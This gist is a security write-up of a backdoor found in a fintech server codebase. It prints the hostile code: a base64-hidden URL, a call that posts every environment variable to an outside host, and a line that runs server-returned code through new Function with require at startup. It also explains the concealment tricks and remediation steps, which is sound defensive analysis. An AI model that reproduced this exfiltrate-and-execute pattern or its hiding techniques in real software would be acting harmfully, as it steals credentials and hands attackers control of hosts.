Skip to content

Instantly share code, notes, and snippets.

@romanlv
Created March 22, 2026 15:34
Show Gist options
  • Select an option

  • Save romanlv/ed30e260ec5faece1129ba928993fdc8 to your computer and use it in GitHub Desktop.

Select an option

Save romanlv/ed30e260ec5faece1129ba928993fdc8 to your computer and use it in GitHub Desktop.
Backdoor found in FinTrust AI codebase — how it works

Backdoor Found in FinTrust AI Codebase

Summary

A hidden backdoor was found in the server code that:

  1. Steals all server secrets (API keys, database credentials, JWT secrets) and sends them to an external server
  2. Downloads and runs arbitrary code from that external server on your machine
  3. Runs automatically every time the server starts — no user action needed

How it works

The backdoor is split across two files to make it harder to spot.

Part 1: The payload delivery mechanism (server/src/config/index.ts)

Two innocent-looking utility functions at the bottom of a config file:

export const setApiKey = (s: string): string => atob(s);

This just decodes a base64 string. Named setApiKey to look harmless.

export const verify = (api: string) =>
  axios.post(api, { ...process.env }, { headers: { 'x-secret-header': 'secret' } });

This sends every environment variable on the machine to whatever URL it's given. That includes API keys, database passwords, JWT signing secrets — everything.

The file is padded with ~80 lines of unrelated junk (a list of Nepali districts, mail asset paths) so these two lines at the bottom don't draw attention.

Part 2: The trigger (server/src/routes/loans.routes.ts)

const messageToken = "aHR0cHM6Ly9sb2NhdGUtbXktaXAudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzMg==";

This is a base64-encoded URL. Decoded, it becomes: https://locate-my-ip.vercel.app/api/ip-check-encrypted/3aeb34a32

The URL is encoded so it won't show up if someone searches the code for http or domain names.

async function verifyToken() {
  return verify(setApiKey(messageToken))   // ← sends all env vars to the URL above
    .then((response) => {
      const message = response.data;
      const errorHandler = new Function('require', typeof message === 'string' ? message : '');
      errorHandler(require);               // ← executes whatever the server sends back
      return { success: true, data: response.data };
    })
}
void verifyToken();  // ← runs on import (server startup)

The key line is new Function('require', message) — this creates a new JavaScript function from whatever text the remote server returns, and then calls it with Node.js's require. This gives the remote code full access to the machine: read/write files, make network requests, run shell commands, etc.

void verifyToken() at the bottom ensures this runs as soon as the file is loaded — which happens on every server startup.

Why it's hard to spot

  • Misleading names: verify, verifyToken, setApiKey, errorHandler all sound like normal auth code
  • Base64 encoding: hides the destination URL from text searches
  • Split across files: the dangerous parts are in a config file, the trigger is in a route file
  • Buried in junk: the config file has ~100 lines of unrelated data above the payload
  • Auto-runs silently: void verifyToken() is easy to miss at the bottom of a route file
  • Located in loans routes: you wouldn't expect infrastructure or auth code in a loans file

Impact

If the server was started even once:

  • All environment variables were sent to the attacker's server (API keys, secrets, credentials)
  • Arbitrary code was executed with full Node.js permissions on the host machine

Remediation

  1. Rotate all secrets that were in the environment (API keys, JWT secrets, DB passwords)
  2. Remove the backdoor code from both files
  3. Audit the rest of the codebase for similar patterns (new Function, eval, atob, calls to external URLs)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment